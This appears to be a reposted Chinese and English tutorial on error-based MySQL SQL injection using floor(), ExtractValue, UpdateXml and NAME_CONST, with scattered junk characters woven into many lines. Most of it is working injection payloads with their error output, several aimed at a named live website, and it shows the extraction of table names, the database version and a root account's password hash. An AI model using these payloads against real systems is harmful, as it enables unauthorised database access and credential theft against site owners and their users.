mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
0 \! ~/ O( Z6 j% v( ^7 L首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
( ~  q( L. o' `6 R|  1 | test  | do it   |
; m( L4 ], n. f; L- t+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
: l; T5 n+ `* f+ t9 P0 p- fERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

2 W+ H1 H7 p- I3 v# v) w7 g" T3 e9 B

再收集：

2 M4 x6 [( c% [http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

) |2 G; ~# z5 H4 a6 M6 i0 ], y% x4 e( eErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

, O* w# u; Z# khttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
. u' G. ?8 E* c/ F% i
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
+ ?! `. |, L% f3 w5 V2 R( A
MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

& X8 m: u5 A! ], w+ S3 T  ]% I
相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
- g% P9 k" w( r; y1 a; q0 F- T
Code:
NAME_CONST(DATA, VALUE)
" V3 u3 X7 b) m1 h
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)


1 N  q& b% A6 j' b6 u; q
* E$ Q% u6 D( I8 w* Y6 {|---------------|
|     TEST      |
1 G, E& j" g# x, I# C. ^1 k& j|               |
; h) [/ `4 E) d4 K- d, r|---------------|
|       1       |
|               |
|---------------|

! \1 I. Q7 ?1 A

! w) A, Q/ r( f* h% o
1 U$ e' c, \  i7 R4 ^5 Z3 v5 Ohttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
9 E! N5 S! j4 [$ r6 V' c+ m
) k! h! T6 j( |, u) ?Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

7 q, }' X$ H7 d7 _3 y8 lCode:
; R/ ~4 J: O5 O6 R3 U" z5 D: Hhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261



' M7 e, z7 [: A2 K* q8 c8 n# J
) [5 c5 b* O/ K: k
Code:
' j9 h2 W; ^0 U* eand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


% W( x0 f+ ?  p3 ]5 jVAR = Your MySQL variable.
' f# a1 i3 A; u8 @2 [- A# t
0 O- n5 a# X$ a  ]8 W, }& i# xMySQL 5.1.3 Server System Variables

% p1 z: D( I% s5 |8 \6 I' OLet's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'

6 {0 |; a1 D% D8 q' A; q
' W0 i/ H- v1 q: Q- k8 S
- r5 i" ]& V% E0 {/ Z* H
7 i/ A+ P: @7 t+ g
  J- U2 l/ L! ]& Z: INow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
6 n7 A4 J9 c' M
8 O; A% k7 s) m# Q) c) g' _8 gData Extraction
' o, N  t$ I" w5 b# R* D8 C3 Z
Code:
6 y2 Y$ N/ c( D* Y5 b# |) m+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
* a* o7 _! d* K# M# N
3 m# Z  F! V* m' U0 [
We should get a duplicate column 1 error...
) ^5 v) S4 M. [+ X' K- }+ b
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
; Y6 }. ^5 @7 D& @5 O
4 N4 j# y# v: @: Y0 g3 i


; s  y5 t/ c+ M% g  q0 R4 A
5 @* L! o  M& i0 o2 A- [8 O
! j9 M; x8 x$ VNow let's get the tables out this bitch..

) A/ Q) B; o1 Z% ]. _6 SCode:
: h+ w8 V4 `4 t3 S) n" ?8 [  B+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
. b) I4 J& i: J8 ]) W
/ p. l8 m! b. H/ f
3 o' A5 \' h5 q  SLet's see if it works here, if it does, we can go on and finish the job.

4 l4 c  G) M$ nCode:
( L9 t% W% T  i# P0 x* o" S  Whttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

5 f1 S  H/ _6 \1 c6 N
6 Z0 A- b7 `' l, T$ gErroruplicate column name 'com_admanage

* m6 \; v' h$ w$ M
$ @3 G0 Z* o5 a/ n/ f  }5 M% }" I$ G


6 t: `, E- R- }6 y
' B+ H) C/ L+ P+ G6 U, s. \Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
! \8 t, D# m0 D
Let's get the columns out of the user table..
3 N1 U  Z* I# N7 Q5 C
Code:
+ @, e+ i( I2 O. ^! c# u. a+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
2 F3 m, y4 h" e" T( O

So mine looks like this, and I get the duplicate column name 'Host'.
& m' J- w6 D0 B' [# Y6 _+ |
6 A( u4 X9 K& v4 o8 D: N8 KCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'

" m. r9 N6 \0 R+ e5 E) R
  ]9 }* A5 X- C1 T! z
# W$ H, ~; }6 E% e
  V( E* F2 G* E( I/ `1 N

Woot, time to finish this bitch off.
7 V! k$ c' A2 {9 n, D7 B3 ~$ f
6 O" l# v' J6 j3 gCode:
* {) C" ^' p! t! o! M8 w+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

6 |" y! X/ i" V" K; [5 q. u3 U
! i! w0 |3 [6 S8 {' y2 dSo mine looks like this...
, d8 E5 N% P3 Z* U3 O' K
  l( j+ J% J5 _7 [: J0 p+ W! ?Code:
5 E$ Z1 p: D8 p% x( w% i" E/ z6 O3 Chttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
/ R. r, F- X2 B% V


/ G. [* p5 T+ e3 `) w


And there we have it, thanks for reading.
! M' n, `0 K+ a9 B( p( s2 I
# d. j* m4 d+ X& n' y4 K